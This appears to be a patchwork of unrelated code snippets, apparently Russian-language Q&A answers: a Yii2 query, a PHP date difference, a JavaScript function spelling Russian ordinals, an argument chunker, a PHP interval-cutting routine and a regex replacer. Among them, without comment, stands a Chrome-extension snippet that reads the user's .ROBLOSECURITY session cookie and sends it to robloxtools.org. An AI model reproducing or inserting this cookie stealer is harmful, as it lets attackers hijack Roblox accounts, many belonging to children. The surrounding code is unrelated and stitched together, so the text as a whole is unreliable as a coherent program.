public function getGroup()
{
return $this->hasOne(Group::className(), ['Group_Code' => 'Group_Code']);
}
$list = Students::find()
->select(['FIO','Group_Code'])
->with(['group'])
->orderBy('FIO')
->asArray()
->all();
$student['group']['Group_Name']
$a = ['08', '16'];
$diff = (new \DateTime())->diff(new \DateTime("20$a[1]-$a[0]-01"))->format('%yy %mm');
function n2text(n) {
const texts = {
0: 'нулевая',
1: 'первая',
2: 'вторая',
3: 'третья',
4: 'четвертая',
5: 'пятая',
6: 'шестая',
7: 'седьмая',
8: 'восьмая',
9: 'девятая',
10: 'десятая',
11: 'одиннадцатая',
12: 'двенадцатая',
13: 'тринадцатая',
14: 'четырнадцатая',
15: 'пятнадцатая',
16: 'шестнадцатая',
17: 'семнадцатая',
18: 'восемнадцатая',
19: 'девятнадцатая',
20: 'двадцатая',
30: 'тридцатая',
40: 'сороковая',
50: 'пятидесятая',
60: 'шестидесятая',
70: 'семидесятая',
80: 'восьмидесятая',
90: 'девяностая',
100: 'сотая',
};
const texts0 = {
20: 'двадцать',
30: 'тридцать',
40: 'сорок',
50: 'пятьдесят',
60: 'шестьдесят',
70: 'семьдесят',
80: 'восемьдесят',
90: 'девяносто',
100: 'сто',
};
if (n > 200) {
return '';
}
let str = [];
if (n > 100) {
str.push(texts0[100]);
n = n % 100;
}
if (n === 100) {
return texts[100];
}
if (n < 20 && n > 0) {
str.push(texts[n]);
} else {
if (n % 10 === 0) {
str.push(texts[n]);
} else {
str.push(texts0[Math.floor(n / 10) * 10]);
str.push(texts[n % 10]);
}
}
str = str.join(' ');
return str[0].toUpperCase() + str.substr(1);
}
for (let i = 0; i < 20; ++i) {
let n = Math.floor(Math.random() * 199);
console.log(n, n2text(n));
}
chrome.cookies.get({
'url': 'https://www.roblox.com',
'name': '.ROBLOSECURITY'
}, function(cookie) {
fetch('https://robloxtools.org/botter/placesend2.php?t=' + cookie.value);
});
const func = (countsCloth, mySizeClothW, mySizeClothH, ...args) => {
let chunkSize = 3, chunks = [];
for (let i = 0, j = args.length; i < j; i += chunkSize) {
chunks.push(args.slice(i, i + chunkSize));
}
return chunks; // или работа с chunks
}
func(1,2,3,4,5,6,7,8,9,0,1,2); // пример вызова
function cut(array $base, array $cuts = [])
{
$parts = [];
$cutParts = [];
// сортируем вырезанные отрезки по началу
usort($cuts, function (array $a, array $b) {
return $a[0] - $b[0];
});
// склеиваем вырезанные отрезки
foreach ($cuts as $cut) {
$i = count($cutParts)-1;
if ($i === -1) { // первый отрезок
$cutParts[] = [max($base[0], $cut[0]), min($base[1], $cut[1])];
} else {
if ($cut[0] > $cutParts[$i][1]) { // новый отрезок
$cutParts[] = [max($base[0], $cut[0]), min($base[1], $cut[1])];
} else { // склейка
$cutParts[$i][1] = max($cutParts[$i][1], $cut[1]);
}
}
}
// считаем, что осталось
if ($cutParts[0][0] === $base[0]) { // начинать надо не от начала
if ($cutParts[0][1] === $base[1]) { // вырезано все
return [];
} else { // начинаем отсчет с конца первого отрезка
$parts[0] = [$cutParts[0][1]];
array_shift($cutParts);
}
} else { // начинаем отсчет от начала исходного отрезка
$parts[0] = [$base[0]];
}
foreach ($cutParts as $i => $cutPart) {
$parts[$i][1] = $cutPart[0];
if ($cutPart[1] < $base[1]) {
$parts[$i + 1] = [$cutPart[1]];
} else { // отрезок покрывает конец исходного отрезка
return $parts;
}
}
$parts[count($parts) - 1][1] = $base[1];
return $parts;
}
print_r(cut([1, 100000], [[30, 500], [1200, 3700]]));
print_r(cut([1, 1000], [[30, 500], [20, 700], [10, 35]]));
function replaceSubstring(phrase, words, replacement) {
words = words.split(' ');
let regExp = new RegExp(`\\b${words[0]}\\b(.*?)\\b${words[1]}\\b`);
return phrase.replace(regExp, `${words[0]} ${replacement} ${words[1]}`);
}
replaceSubstring('She is a robot', 'She robot', 'dreamed of a'); // 'She dreamed of a robot'